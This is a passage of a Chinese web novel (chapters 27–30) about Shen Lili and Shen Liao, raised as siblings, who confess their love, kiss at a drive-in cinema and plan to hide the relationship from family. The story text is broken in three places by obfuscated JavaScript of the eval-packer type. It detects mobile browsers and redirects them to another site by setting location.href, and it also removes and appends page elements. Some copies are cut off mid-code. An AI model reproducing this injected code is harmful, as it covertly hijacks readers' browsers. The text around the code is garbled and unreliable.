命运让他们相遇,也让他们互称兄妹,但谁都说不准,爱是不是比命运强大。 沈离离抱着那束花,忽然就鼻子酸起来,片刻后,视线朦胧了。 沈燎面容平静,眼底有淡淡青黑痕迹,眼睛不知是疲惫还是深情,总之看上去非常温柔。 他缓缓呼出一口气,说:“离离,你现在是怎么想的?” 沈离离说:“和昨天晚上一样。不管是上周末,还是昨天,或者现在……我都很认真,很清醒。” 沈燎再次深呼吸,移开目光,抬头说:“边走边说吧。” 沈离离答了声好,然后带着沈燎进学校,两人绕着行人最少的校园外围漫无目的地走。 沈离离忽然感觉到抖动。 她愣了一下,原以为是自己在抖,可能因为气温还有点低,风吹过来很凉。但仔细感受了几秒,才觉察出来,好像是沈燎的手在颤。 “哥,你怎么……” “离离,”他缓缓站住脚步,“我也有些话要跟你说。” 她心跳得很快,喉咙干涩,吞咽了一下,无济于事,仍旧紧张。只好绷紧唇角,看着他,等待他继续说。 沈燎:“这条路可能没有你想象的那么好走。你现在还小,还很年轻,如果将来……想分开了,哥也不会拦着你。离离,你一直很善良,最容易委屈自己,我只担心,你以后会过不了自己那关。” 沈离离愣住了,有点听不明白沈燎在说什么,每个字都能听懂,拼起来却怎么也没法理解。是他太语无伦次,还是她已经全无理智? 全世界白花花一片,有种空荡虚无的刺目感。 “……什么意思,”沈离离花了几秒,找回声音,“沈燎,你的意思是你讨厌我,对吗?” 喉咙仍旧干哑,初夏的风或许确实有点大,吹得她浑身发冷,眼眶湿润。 沈燎立刻皱起眉,迈近一步,轻轻把她拉进怀里,中间留了很大缝隙,抱得很小心。 “沈离离,说什么傻话,”他压抑住声音里的焦急,拼尽全力似的,耐心又急切,“我没有讨厌过你,小时候,现在,都从来没有过。” 她没有动,任由他松松地抱着,“那你喜欢我吗?” 沈燎又一次沉默了。 她继续问:“沈燎,你喜欢我吗?” 他的身体猛然一颤,好像指尖也微微发抖,嗓子里像有什么东西堵住了。 过了好久,可能是几秒,也可能是几分钟,或者几个世纪,总之,相当漫长的一段时间后,他才发出了声音:“喜欢。” 沈离离的脸控制不住地皱起来,压抑的哭声倾泻而出。 沈燎骤然收紧手臂的力量,把她严严实实,不留空隙地抱紧,两手按着她的肩膀与后腰,颤着手越收越紧,“我喜欢你,沈离离,我一直喜欢你,从三年前就开始,也有可能更早,我后悔没有先告诉你,对不起,离离,对不起……” 沈离离觉得自己的心坐了一趟离奇的过山车。从粉红色冒着甜蜜泡泡,变成灰蓝色留着眼泪,到现在,又被酸涩的浆果汁浸泡成一颗红通通的果实,质朴无奇,但非常饱满。 她也抬起手,紧紧搂住沈燎的腰,感受到他肌肉收紧,僵硬,又缓缓放松。 一开始,两个人都很拘谨,他们朝夕共处的数年岁月里,这不是第一个拥抱,意味却与从前任何一次都不一样。 越来越近,越来越忐忑,也越来越放肆,胸腔相贴,呼吸频率也变得一致,一起一落,对方都能清晰感知到。甚至开始怀疑,对方是否也感受到自己脉搏的重量。 “沈……沈燎,”沈离离稍微偏头,气息喷洒在沈燎颈侧,再次感受到他的一颤,肩膀也抖了下。他的脖子和耳朵特别敏感,她这才想起来。 “哥……”不知道该说什么了,但还是想出声,想喊他。 “嗯,在呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330747|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他声音莫名有点哑,慢慢松开双臂,手攥成拳抵着唇轻咳了一声,视线往周围飞速转了一圈,最终又回到她的眼睛里面。 一对视,翻涌的情绪就像被按了什么阀门的开关,无法止息。 沈燎深深吸气,面容又渐渐冷静了些,只有眼睛,已经不再疲惫深情,而像两团火一样炽热。 “真的想好了?”他看着她,音色沉沉地问。 沈离离仰着头,对着他的视线,两手攥紧拳,眼神坚定得像是身经百战的将军,“我从不做会后悔的事情。” “现在就知道以后不会后悔了?”他微微偏头,说,“离离,你现在可能并不明白一时兴起和真正的爱之间的区别,会不小心弄混。但我……” 沈燎顿了顿,眉头还是皱着,却不敢再看她的眼睛,“但我是你哥哥,我不能不懂,爱情比亲情脆弱得多,很多时候,失去就意味着一辈子。” “你少拿长辈架子来跟我说话,”沈离离冷笑。 “我要是会后悔,你刚回国的时候,我就不可能留你在家住,”她气势汹汹,深吸一口气,“也不可能答应你去看烟花秀,不可能带你去汽车影院,不可能邀请你来演出现场,更不可能把那张唱片送你。” “沈燎,你这个笨蛋,你这个……猪头!这些,你全都看不出来吗?” 她语速飞快,吼得酣畅淋漓,仍旧固执地瞪着他,胸膛起伏,鼻腔喘气。 而沈燎愣住,微微张着嘴巴,静止了。 沈离离凝望着他,紧抿着唇,手慢慢往上移动。 忽然,她踮起脚,温柔又强势地把他的脑袋拉近,捧着他的脸,拇指轻轻按在他的唇上。 她仰头,很慢很慢地,吻在了自己的大拇指上。 沈燎像过了一道电似的,浑身肌肉痉挛,身躯僵硬,心跳声咚咚响,大脑宕机像是被塞进一团浆糊。 沈离离说:“你为什么就是不信呢。” 为什么不相信有人无条件选择你,有人爱你如同珍视生命,有人不止想对你索取也想奉献。 即使爱情自古以来就脆弱,但总有人还在歌颂。 沈燎忽然笑了,一开始只是呼出气音,然后慢慢笑容越来越大,双肩笑得发颤,胸腔也震动。莫名其妙地,沈离离也看着他笑起来。 现在她有点相信了,掉进爱河的人都会变傻。 这是六月一个平凡的周六中午,这是一条行人很少的校园走道。 墙外的蓝花楹已经全部掉光,只剩满树绿叶,郁郁葱葱,随风摇摆,惬意得让人想要对着天空伸懒腰,再露出一个大大的笑容。 沈燎忽然察觉,自己的心安静下来了。 “如果在一起了,我就不会想分开,”沈离离的语气笃定到显得有点孩子气,但眼神很郑重,“沈燎,我是年轻,但不是头脑发热,我知道自己想要什么,只要什么。” 过了两秒,她说:“所以,哥你相信我,不要害怕。” 她的手轻轻往前,拉住了他的手。 沈燎没说话,但张开掌心,将她的手稳稳地握进去了。 见到她的短短几分钟,脑子里构思的一大堆说辞,夹杂着最完美的退路和自圆其说,此刻全都用不上了。 他就像一个被训练了很多年,做好了万全准备,端着枪要上阵杀敌的士兵,突然被告知前方已不战而捷。 “好,我相信你,我不害怕,”他笑了笑,说,“就算以后你想分开了,也没——” “不要。在一起了,就永远不能分开,”沈离离开口打断,“我没有你那么大度,沈燎,如果你要离开,我会恨你一辈子的。” 她的眼睛一眨不眨,显得纯真又直白,像是不通世故的精灵,又像是火焰烘烤着他。 还是一阵沉默。 沈燎缓慢地转过头,神色感慨。 “哈哈……”他又笑了,这一次,同样发自内心,他抬眼看着她,说:“好啊,那就试试看吧,沈离离同学,看你有没有恨我的机会。” 沈离离挑眉与他对视,也勾起唇角。 艳阳高照,绿意盎然,蝉鸣声阵阵,寒气已经了无踪迹,春天彻底结束。 与此同时,属于沈燎和沈离离的,一个兵荒马乱的夏天来了。 28. 第 28 章 “下午有什么计划吗?” “没有。” “你呢?” “我也没有。” 两人同时转头,视线交汇,发出克制不住的笑声。 不知不觉走到食堂,这个时间吃午饭刚好,不过因为是周末,相比平时食堂里人少得多。 随便挑了一家口碑不错的面,两个人坐进位置里,一板一眼地拆开筷子,都正襟危坐,但一对视,就又立刻破功,忍不住笑。 沈离离右手握筷,闷头盯着碗里的面,无意识地用筷子慢吞吞在搅面。一会儿后,开口说:“有点不真实,像梦一样。” 沈燎坐在对面,拌面的筷子顿住,随即笑了笑,抬头看她一眼,“我以为就我一个这么想。” 沈离离不再回话,很认真地开始吃面,头也不抬,一手扶着碗一手动筷,吃出种聚精会神,如临大敌的感觉。 其实是从脸到耳朵都热得不行了,担心自己形象不太好,不敢再抬头与他对视。 但刚才的话确实没说谎,从昨晚,到现在,事情都进展得好顺利。除了刚才在走道上差点吵起来,其他的一切都顺利过头了。 脑海里不停在回放刚才发生的事情。只要一想,唇角根本压不下去,好像连握筷子的手指也快染上和脸颊同样的热度。 “离离。”沈燎突然出声。 “啊!” 沈离离猛地抬头,忽然,她一下子顿住,手松开筷子捂住胸口,眼珠瞪大,迟缓地下移,脸蛋涨红,这红色甚至要蔓延到脖子。 沈燎要说的话也飞快咽回去了,慌忙起身,过来拍她的背,“是不是呛到了?” 沈离离满脸痛苦,弯下腰,捂着胸口开始大声咳嗽,连着肺地咳,咳得脸红脖子粗,嗓子里火辣辣的疼。 “喝点水,别急别急,慢慢来……”沈燎急不可耐,蹲在她身侧,宽大的手掌一下下地抚她的背,接着伸手去拿水杯,等咳嗽停止了,把水杯递到她唇边,“慢点,一口一口喝。” 像干嚼了朝天椒一样,整个口腔和嗓子都陷入辛辣的疼痛中。 沈燎没放水杯,沈离离便就着他的手喝水。嘴唇碰到杯壁,他缓缓起身,手指动了动,把杯子尾端微微往后抬,小心翼翼地喂她喝水。 “喝小口一点,别又呛到了。”他低声道。 声音就在耳边,呼吸也好近,两人脸对着脸,咫尺之隔。 沈离离喉结上下滚动,小口小口地慢慢喝水,眼睛往上一抬,与他对视。 她睫毛轻颤,脸颊仍旧有些泛红,刚才咳得太剧烈,挤出了几滴生理性的泪水,此刻眼睛还是湿润的,好像晶莹剔透的水晶球。 沈燎呼吸变得短促,呆了两秒。 直到她抿住唇,眼神示意水喝完了,他才飞速回过神。 “还要不要?我再去接一杯。” 沈离离摇头,皱着眉清了清嗓子,哑着声音说:“不用不用,已经好多了。” 沈燎眉头紧皱,还是动身去接水了。 沈离离目不转睛,看着他的背影。 食堂太宽阔,各种各样的声音,像是闷在锅里一样,既安静又吵闹。但她有种莫名的错觉,好像自己真能听见他的脚步声,一清二楚。 沈燎很快回来,这次直接将水杯推到了她手边,沈离离抬起来咕噜咕噜喝水,喝完才觉得嗓子恢复了些。 “谢谢……” 他盯着她,笑了一声,“那么客气啊,沈离离。” 她又把脑袋埋下去了。仿佛几小时前的告白已经花光了今天所有能量。 “行了,吃饭别走神,好好吃。”他带着笑意说了句。 沈离离点点头,迟缓地动筷子,这才继续吃面。 脑子里其实已经像水烧开的壶一样发出爆鸣。 到底为什么会发生那么丢脸的事情啊?! 以后回忆起告白这一天,都会带上“沈离离吃面被呛得脸红脖子粗”这么个标签了。 她绝望地嚼着嘴巴里的面,索然无味。 忽一抬眼,看到沈燎已经吃完,正放松地靠在椅子里,似笑非笑地瞧着她。 “哥,你是不是想笑我。” 沈燎说:“怎么会,谁没有被呛到过?不就跟摔跤一样,站起来就行,有什么大不了的。” “真的吗?” 沈燎有点不理解她为什么那么在意,“真的。” 沈离离说:“那你答应我,以后提到恋爱纪念日,你不准说这件事。” 沈燎愣住,然后忍不住噗嗤一声笑出来。 沈离离绷紧唇角,满脸“你完蛋了”的表情。 沈燎抢在她生气之前,赶紧说:“我保证,保证不会在纪念日提这件事。” 纪念日,一个美好到让他感到虚假的词。不是什么生日,节日,或是跟着长辈第一次见面的日子,而是专属于他们两个人的恋爱纪念。 沈离离也后知后觉地意识到这一点。 因为刚才剧烈的咳嗽,她的脸颊还微微泛红。但那双眼睛无比清澈,里面有期待,还有愉快。 面吃完,她才想起来问:“哥你刚才是要说什么?就……我被呛到之前。” 沈燎:“是想问你,晚上要不要去看电影。” “好啊,”沈离离立刻答应,然后反应了一下,看着他,心脏怦怦跳,“这算是,我们第一次约会吗?” 沈燎沉默了两秒,眼底笑意更浓,又起了逗她的心思,装作思考状,说:“不算吧。” 沈离离眨了眨眼,“为什么?” “约会要做的事有哪些?” 她认真想想,回答:“应该也就是看电影,去游乐园,去海洋馆……之类的吧。” 沈燎:“这些,我们以前不也做过吗?所以今天不算第一次了吧。” “怎么可能!”她皱起眉头,据理力争,“今天和以前不一样。” “哪里不一样?一起做那些事,不就是约会吗?”他的笑已经快藏不住。 她憋了半天,“身份不一样啊。” “嗯?”他的嘴角压不下去了。 “以前是,是家人,现在是……”沈离离望着他,停了一下,忽然就反应过来了,顿时又羞又恼,“沈燎!” 他笑出声来,“哎。” 明明是以前做过很多遍的事情,如今身份悄然转变,再做一次,心境竟然会相差那么大。 明明是很熟悉的两个人,同样因为关系变动,相处时的氛围也与从前截然不同了。 生涩,紧张,甜蜜……两个人之间的关系变化,好像发生了化学反应的液体,连烧杯内的空气也悄然改变。 吃完饭,沈燎陪沈离离回了趟宿舍。 他站在楼下等她,她则抱着花,噔噔噔地小跑上楼,去把鲜花安置好,放在床下桌最显眼的位置,一走近,就能闻见芳香。 舍友张紫苏惊奇地问她:“离离,怎么突然买花了?好漂亮呀。” 见她没立刻回答,骆雪笑眯眯地说:“该不会是别人送的?” 沈离离的脸红扑扑的,有种隐秘的骄傲和快乐,迫使她微微扬起下巴,说:“男朋友送的。” 三个舍友对视,沉默,捂住嘴巴,下一秒,宿舍里爆发出一阵接一阵的惊叹。 沈离离被拉着讲清楚这事的来龙去脉,一边笑得眼泪花冒出来,一边顽强抵抗:“我还要出去呢!回来跟你们说。” 朋友们这才放过她。 离开前,沈离离盯着那花,若有所思地看了好久。 简单和舍友告别,她重新飞奔到楼下。 沈燎站在树下,没有看手机,也没有走神,在视线捕捉到她的下一刻,脸上就露出了笑容。 宿舍大门外是一条走道,去食堂的必经之路,总是人来人往,络绎不绝。 但沈离离忽然觉得,沈燎仅仅是站在那里,就如同一盏灯,哗的一下,千篇一律的乏味生活被点亮了。 她平复呼吸,一步步走过去。 两人站在树荫下。沈燎从兜里掏出车钥匙摊开在掌心,递到沈离离面前,“电影这方面,还是你比较熟悉,带路?” 沈离离抬头,看见他眼睛里掩不住的笑意,于是没有犹豫,一把将钥匙抓起来。 她食指提着钥匙在脸旁晃晃,也对他扬起笑脸,“那就跟我走吧。” 两人走到车库,上车。 这辆车看着很眼熟,坐进驾驶座,操作系统也很熟悉,沈离离仔细一回想,发现真是自己曾经开过的。 不过她想不起来具体是什么时候,开口问了句:“你以前是不是也开这辆车来接过我?” 沈燎正在扣安全带,闻言,语气不经意地解了她的惑:“看烟花秀那天晚上,后来你带我去汽车影院,我们还在这辆车里看电影。” 沈离离的回忆于是又飘回了那晚。 在游艇上和陌生乐团一起演奏爵士乐,持续了二十分钟的烟花,还有在汽车影院看的《海上钢琴师》。 今日下午,阳光正好,冬天已经过去很久,他们也不再穿大衣。 但回忆似乎是带着温度的,有游艇三层上方的寒风,还有车子里不动声色的燥热。 “离离,”沈燎出声,“在想什么?” “没有。” 她晃晃脑袋,深呼吸,然后启动了车子。 沈离离开车很稳,虽然速度在沈燎看来无异于乌龟爬行,但她全神贯注的精神还是很可贵的。 他充当一个合格的副驾驶,给她连蓝牙放音乐,提醒她别走错路。顺便,愉快地欣赏她的歌声。 车窗半开,夏日的风呼呼地往里灌,吹散了车内的热意。 下午三点多,海文的太阳最大。 沈离离才微微眯眼,沈燎就像是精准雷达,清晰检测到她的所有小动作,眼疾手快地把她脑门上方的遮阳板拉了下来。 沈离离原本正心情放松地跟着音乐开嗓,忽然噗嗤一下,笑出来。 虽然有些莫名其妙,但沈燎还是控制不住,会跟着她一起扬起嘴角,“怎么?唱歌把自己唱乐了?” 沈离离摇头晃脑,大笑着说:“就是很开心呀,笑和哭一样,是不需要理由的。” “哪里听来的歪道理?” “什么歪道理!此言出自……沈离离大师之口。” 沈燎笑了,沈离离偷偷瞟后视镜,看见他弯起来的眼睛。 阳光也照在他的皮肤上,脸上所有疲倦都被轻轻扫平,只剩轻松和愉悦。 车外公路旁的两排树木是齐刷刷的绿,绿得精神抖擞,生机勃勃。 抵达熟悉的居民楼门前,远远就瞧见老板萍姐站在那里。 沈燎:“你已经打过招呼?” 沈离离点头:“嗯,这儿只能提前跟老板说,没有别的买票途径。” 来得太早,场内很空旷,没有一辆车。沈离离盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈离离的心怦怦跳着,脉搏连着心脏,一起轻轻跳动,带着属于今日的,尚未燃尽的激情。 她一手抱着花,腾出另一只手拉开了车门,一抬眼,就与车内的男人四目相对。 “已经调好了,你来看看——” 话音顿时止住了。 沈离离坐上车,双手捧着花,递到他脸前。 “我喜欢你,”她的脸红扑扑的,双眼湿漉漉的,满含期待与真诚,“这是一个正式的告白。沈燎,我喜欢你,超级超级喜欢!不是一时兴起,也不是因为你对我有多好,我喜欢的是你这个人,你的全部,每一处,我都喜欢。想和你一起去很多地方,做很多事,想和你一直在一起……我不想只是你妹妹,也不想跟你做朋友!” 沈燎盯着她的唇,一张一合,殷红饱满,如同某种水分充足的甘甜浆果。 他半晌说不出话,连接花的动作也没有,内心陷入巨大的震撼,无法自拔。 片刻后,他一把将她按进怀里,突如其来的力道吓到她,他听见她小小地发出一声惊呼。 美丽的粉白玫瑰被挤压在两人胸膛中间,包装纸发出噪音,玫瑰的馨香在怀中荡漾。 前车窗突然亮起光。 电影已经开始,开头就是一段堵车的歌舞表演,男女主的初见也在此地。 经典又欢快的音乐在车里响起来,好像全世界都在舞动,全世界都在享受这激情。 他们松开这个拥抱,却都没有转头看向屏幕。 对视,继续对视,目光入侵对方,视线交缠不清。 下一秒,沈离离微微仰起脑袋,沈燎捧住她的脸颊,倾身,低头,吻了她的唇。 她吻技生涩,几乎一切都在他的引导下进行。一开始,只会一下一下地轻吮他的唇,慢慢地,在他愈发猛烈的攻势下,她也渐入佳境,带上了属于她的侵略性。 两个人拥得越来越紧,怀里的鲜花已经染上了两方的味道,与唇舌一样纠缠,密不可分。 沈离离因缺氧而转过脸,胸腔剧烈起伏,感觉自己全身的力气都要被榨干。 她喘息着,沈燎却并没有在这时展现出丝毫属于兄长的温柔,他像是忘记了自己,又像是暴露本性,仍然在进攻,入侵。 沈离离不甘,再次吻上去,手臂揽着他的后脖颈,学会了强势掠夺他的呼吸。 封闭的空间内,充斥甜蜜的气味,响着欢乐的音乐声。车窗前,巨大的电影屏幕里,男女主正在进行他们的邂逅。 故事的开始没有那么愉快和理想,或许这部电影的结局也并非传统的大团圆,但谁也无法否认,他们曾深爱彼此。 “哥……”她重重地喘着气,垂下脑袋,虚虚地抱着他,额头抵在他肩膀上。 怀里的花已经被挤压得变形了,但香味却更浓,这下真是满怀馨香。 沈燎温柔抚摸她的背给她顺气,又用另一只手揉揉她的后脑勺,声音有点低,有点哑,带着笑揶揄她:“这时候,又想喊哥了?” 沈离离使坏地转过脸,用湿润的睫毛轻扫他的颈侧,又抬了抬下巴,唇凑过去亲了一下。 沈燎身躯猛地一颤,僵硬了两秒,手臂不自觉收紧。 他低头看她,真的笑了,“沈离离同学,是不是有点不听话?” 她没理他,在他耳边笑个不停。 笑完,才轻声开口:“哥我问你个问题,你如实回答,行不行?” “你问。” 沈离离缓缓直起身,把玫瑰放到后座,重新看向他的眼睛。 “年初二那晚上的烟花,是你放的么?”她喉咙动了动,抿了下唇,又换了种说法:“你……是从什么时候,开始喜欢我的?” 29. 第 29 章 除了电影屏幕的光,车内没有其他光源,稍显昏暗,却并不冷寂。电影的缤纷色彩映在眼睛里,把瞳孔染成了光下的多彩棱镜。 沈燎同样回望着她,表情仍旧冷静,目光微微闪烁。 “离离同学,这是两个问题。”他笑着说。 沈离离凝望着他,问:“只能回答一个吗?” 沈燎笑了笑,“目前,只能回答一个。因为后面那个,我自己也没有确切答案。” 她一愣,没出声,脑中原想象过的多种可能性,全部不堪一击了。连自己也没有确切答案,是什么意思? 她凭着本能开口,“一个就一个,我想知道,你回答吧。” 沈燎的眼睛此刻非常温柔,不知道是电影色调太温暖,还是被夜色削弱了棱角,抑或另有原因。 她安静地呼吸着,感觉这一瞬的时间被延长了好久好久,比一个电影还要漫长。 “是我,”他嗓音淡淡,神色未变,却并无丝毫遮掩的心思,“那天晚上的烟花,是我叫人放的。” 她的呼吸一刹那间滞住,好像连心脏也漏了拍子。 沈离离在他的眼睛里,看见大海一样温柔厚重的爱,也看见了自己。 沈燎继续对她说:“游艇派对,也是我故意让项云天举办的,怕你误会,也怕你因此疏远我。离离,我还没有完全弄清楚,这份感情究竟是从什么时候开始,但我保证,绝不会辜负你。” 沈离离咬着唇,看了他许久,眼眶再一次湿润了。 “我知道,我相信。” 她伸手,重新与他拥抱,也被他张开双臂稳稳地接住。 怀里的女孩子带着温暖的体温,胸腔里也有一颗热烈跳动的心脏。 他的手掌抚在她后背,脉搏似乎隔着血肉,与她的心共同震动。 拥抱,继续拥抱,永不分离的拥抱。这一刻,他们终于属于彼此。 今夜,这个狭窄又闷热,但响着美妙音乐,抬头就能看到电影的车内空间,成了世界上最小的乌托邦。 - 沈离离再次睡了个好觉。 她原以为自己会精神亢奋到睡不着,又或是为未来可能会出现的任何阻碍担忧,但都没有,她全身心都感到轻松愉快,好像脑袋沾到枕头就睡着了。 难怪沈燎总是说羡慕她的好睡眠,她自己也有些佩服。 周日一早,沈离离睁眼,伸手去摸手机。 已经九点多,窗外初生的阳光被窗帘遮挡得严严实实,室内仍是昏暗一片,氛围极度舒适,再闭上眼就能接着睡。 她迟缓地坐起身,仔细听门外,似乎也非常安静。 手机里没有其他消息。 沈离离想了想,打开聊天软件,给陈夏安发了条消息:姐妹,成了。 嘴角的笑容压不下去。 接着,对置顶对话框停顿了一会儿,点进去,先修改备注:男朋友。然后,她慢慢地打字,发了句:醒了吗? 她心跳怦怦,飞快熄灭手机屏幕,掀开被子下床洗漱。 昨天发生的一切都像梦一样,美好到有点虚幻,不真实,像暗恋多年爱而不得错生出的幻觉,一触即破。 沈离离轻轻按下门把手,打开了房间门。 隔壁的门如往常一样关着,她下楼,也出乎意料,客厅厨房都没人,整个家里安静得离奇。 其实也不算离奇,家里一般情况下只有她一个人,本来就应该是这样安静的。 但昨晚,沈燎明明和她一起回来了,她也亲口跟他道晚安,看着他走进隔壁房间的门里。 难道还没起?不可能吧。 沈离离百无聊赖地转了一圈,甚至打开电视调到电影频道放了一会儿,强迫自己坐下来,看了十几分钟的译制片。 还是没动静。 她眉头一皱,再次打开手机,仍旧没有消息。陈夏安周末要睡到十一点,这她倒是很了解。但沈燎不太可能睡那么长时间。 沈离离脑袋里忽然冒出个荒唐的猜测。 ——沈燎不会跑了吧? 一夜过后,他脑子清醒过来,意识到自己真正的心意,于是一大早起床,用行动来表示他的选择之类的…… 沈离离越想越感到心痛。她发现自己不能坐以待毙。 再次拿起手机,沈离离直接给沈燎打了个电话,紧张得手抖。 响铃大概二十秒,电话终于被接通了,沈燎的声音从手机里传过来。 “嗯?怎么了?”声音有点闷,鼻音有点重,迷迷糊糊的。 沈离离停顿两秒,“哥,你还没醒?” 有翻身的声音,窸窸窣窣一阵动静之后,他的声音变得清明了些,“刚醒,你已经起床了?” 沈离离呼出一口气,身心都重新变得愉快起来,“嗯,我睡不着了。你困的话接着睡吧,没事!” “……几点了?” 她看一眼挂钟,回答:“九点四十。” 沈燎静了片刻,重重叹了一口气:“我睡过头了。” 不过几分钟,沈离离就听见脚步声,抬头,看见沈燎正缓步下楼,面上已经全无睡意,和平时一样,随性但并不随意的装束。 她忽然就开始在脑中回想,他睡眼惺忪时,迷迷糊糊的模样。 似乎已经很多年没有见过了。 “你昨晚熬夜了?”她问。 “没有,单纯睡不着。”沈燎去喝了一杯水,又接了一杯走过来递给她。 她接过来,仰起头,咕噜咕噜一口气喝完,他站在一旁等着,接过空杯子走到水槽边,洗完又放回去。 她视线始终追随着他,一瞬不移。 沈燎仿佛脑后长眼睛,带着笑问她:“我身上有什么东西吗,一直盯着看。” 沈离离飞快扭过头,“才没有一直看。” “是么?” 她再抬头,就对上他的笑眼,登时脸热起来,唇角怎么也放不下去了。 沈离离忍不住笑,起身过去推他的背,要把他推进厨房,埋头说:“我要吃煎蛋,沈燎你快去做饭。” “刚才电话里不还喊哥,现在就又叫上全名了?” 嘴上还在逗她,身体却已经听话地往厨房走。沈燎抬手拿围裙,递给她:“帮我系一下。” 沈离离接过来,一边把围裙铺开,一边说:“就是不想叫哥。” 她示意他低一点头,沈燎顺着她的手弯下腰,低头,她把围裙从他脑袋套下去,又一次,像是昨天在车里一样,呼吸近在咫尺,轻轻的,温暖的。 沈燎抬眼,能看见沈离离脸上细小的绒毛,颜色偏棕的瞳孔,微微抿起的唇。全都漂亮又灵动,像清晨的露珠一样透亮明朗。 阳光落进屋子里,也照亮了他的面容。 沈离离绕到沈燎身后,给围裙带子系了个标准的蝴蝶结。 “上吧!男朋友。”她捂着嘴,笑着说。 沈燎转身,背光瞧着她,眼眸黑沉沉的,但有清浅的笑意,“叫我什么?” 她还在弯着眼睛笑,“哥。” 沈燎笑出来,狠狠揉了把她的脑袋,“怎么那么小气呢,沈离离。” “怎么小气了?”她装傻,“沈燎不是我哥吗?” “好,是啊,一辈子都是你哥。” “那不行!”她迈进两步,抱住他的胳膊,“我哥一辈子是我男朋友。” 他这回满意了,笑了一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她忽然转头,问沈燎:“哥,我们在一起的事情,要瞒着姑姑吗?” 昨天发生的一切当然不是梦,毕竟只有在现实,才能拥有清醒做出选择的能力。 需要瞒的不只有姑姑,还有沈燎的父母,甚至沈家人。沈家向来对儿女的婚姻十分看重,否则也不会闹出那么多小辈因为婚姻之事与家里断交的事。 沈离离不拿沈家一分钱,三叔给她的,也全都是他自己的,因此并不担心什么。 但沈燎却没法真正与沈家割席,不止因为陆凯鸿与沈老爷子的关系,更有他自己身在那个圈子的不得已。 沈家人对沈离离的态度十分微妙,与当年对关瑶不同。明面上的尊重多了些,背地里的闲话却也不少。 沈燎沉默了一会儿,才说:“先瞒着吧。离离,你不用操心这些,我来处理,专注你自己的事就好。” 她看了他一眼,抿了抿唇,没有作声。 回到学校刚好是中午的饭点,沈离离回了趟宿舍,走到书桌旁就闻见花香,昨天早上那束蓝玫瑰还开得正好,清清冷冷的,沉默又温柔。 和舍友聊了会儿天,她挑着细节,跟她们大致说了与沈燎确定关系的过程。 获得了一致的评价——水到渠成,无比丝滑的恋爱。 她想了想,其实并不觉得有那么顺利,但还是笑着点头说:“算是吧。” 过了一会儿,陈夏安给她发了消息,一起去食堂吃饭。沈离离迅速同意了,收拾好就下楼与陈夏安会合。 没想到陈夏安还在化妆,沈离离只好走到树下,玩着手机等她。 一抬头,忽然就回想起昨天。 沈燎也是站在这个位置等待她,却并没有其他动作,只是站着,望着,不错过一个人,不浪费一秒钟的视线。 手机响了一声,是新消息提示音。 她立刻打开,定睛一看。 姑姑:离离,端午假期能空出来吗?咱们一家人,一块去度个假吧。 30. 第 30 章 沈离离如临大敌,看完消息,连对话框也没敢点进去,截了个屏,发给沈燎。 他没立刻回,估计在忙。 沈离离握着手机,在树下来回转悠了两圈,终于等到陈夏安。 两人往食堂走。 陈夏安难掩兴奋:“成了?” 沈离离郑重点头,向她致意:“没有辜负组织的期待!” 陈夏安被她逗得哈哈大笑,说:“我就知道,你们两个只差挑明关系。” 两人商量了一下去吃什么,很快就敲定了食堂三楼的干锅鸡。三楼一般人不多,周末更是少得可怜,座位大半都是空着的。 陈夏安挑了个靠窗的位置,很惬意地托着下巴晒太阳。她前两天去烫了大波浪,还染了偏棕的发色,本身皮肤就很白,化了妆,更锦上添花。 夏天的阳光,只有早上是舒服的,过了中午一点,就变得人见人恨了,仿佛能把大地晒裂。 从这道窗户看出去,刚好能看见大道尽头的樱花,已经没有四月开得那样灿烂。 沈离离也坐下了,时不时就低头瞄瞄手机,等沈燎回消息。 陈夏安看她一眼,笑了:“都暗恋成真了,还苦恼什么?说出来,让你陈姐给你排忧解难。” 沈离离也笑了笑,可惜,笑容没在脸上撑太久,很快恢复愁容,“我姑姑你知道吧,端午假期她打算叫上我和我哥,还有她儿子,一块去度假。” 沈君玉口中的“咱们一家人”通常指的就是他们四个人。沈离离曾是她的养女,这点无可置疑,沈燎父母远在国外,又是与沈君玉关系最亲近的三哥沈君良带大的,算半个沈家人,自然照顾有加。 陈夏安没明白她在烦恼什么,问:“嗯,这有问题吗?” 沈离离:“我和我哥……我和沈燎刚确定关系呢,不打算那么快让姑姑看出来。” 这话奇怪之处许多,比如为什么一起度假意味着关系会被看出来,还比如,为什么不能被看出来。 陈夏安乐了:“不是,这有什么好瞒的,你们在偷情吗?” 沈离离大惊失色:“什,什么偷情!你不要乱讲呀!” “我其实真没想明白,你和沈燎到底禁忌在哪,完全就一个屋子长大的青梅竹马而已,顶多互称了十几年兄妹,到底为什么这么别扭?” 陈夏安神色认真,是真的想不通,“有那么多寄住梗的电视剧,人家也哥哥妹妹地叫着呢,都确定心意就大结局了。” 听完她的话,沈离离陷入短暂的沉默,也仔细思考起来。 过了一会儿,她看向陈夏安的眼睛,面色凝重:“我也不太清楚为什么。” 陈夏安没忍住笑出声,“你别逗。” 她也笑笑,想了想,说:“其实我自己对这事没有太大感觉啦,之前是不确定,他到底对我有没有那种感情,但弄清楚之后,我不就勇敢出击了嘛……” 陈夏安摸着下巴,缓缓点头,然后伸手比了个柯南手势。 “那么真相只有一个了!问题出在沈燎身上。他是不是有什么事儿瞒着你呢?” 沈离离微微一愣。 直到干锅鸡端过来,一边吃饭,她还在一边执着地想事情。 那些差点因为过度兴奋而被她忽略的事。 昨天中午,得知她的心意后,沈燎第一反应为什么是怀疑和逃避,他从前又为什么总要强调哥哥这个身份…… 想着想着,乍然间,咬到舌头。 沈离离痛得浑身战栗,僵住好几秒,才极其痛苦地哼出声来。 